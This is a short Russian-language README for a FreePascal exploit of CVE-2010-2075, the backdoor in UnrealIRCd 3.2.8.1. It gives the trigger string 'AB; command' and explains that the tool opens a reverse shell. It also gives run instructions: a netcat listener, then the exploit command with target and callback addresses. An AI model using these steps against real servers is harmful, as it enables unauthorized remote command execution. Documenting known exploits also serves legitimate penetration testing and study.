CVE-2010-2075

Реализация на FreePascal для CVE-2010-2075

Уязвимость

UnrealIRCd 3.2.8.1

RCE путем отправки "AB; command" любому прослушивающему сервису. Любая отправленная команда выполняется от того же пользователя, под которым запущен UnrealIRCD.

Эта реализация запускает обратную оболочку (reverse shell) на ваш слушатель.

Шаг 1

Запустите слушатель, например netcat -lvp 4444

Шаг 2

Запустите эксплойт ./exploit <target ip> <target port> <host ip> <host port>, где host ip и port — это адрес и порт вашего слушателя.

Требования

Synapse. Если у вас его нет, установите через OPM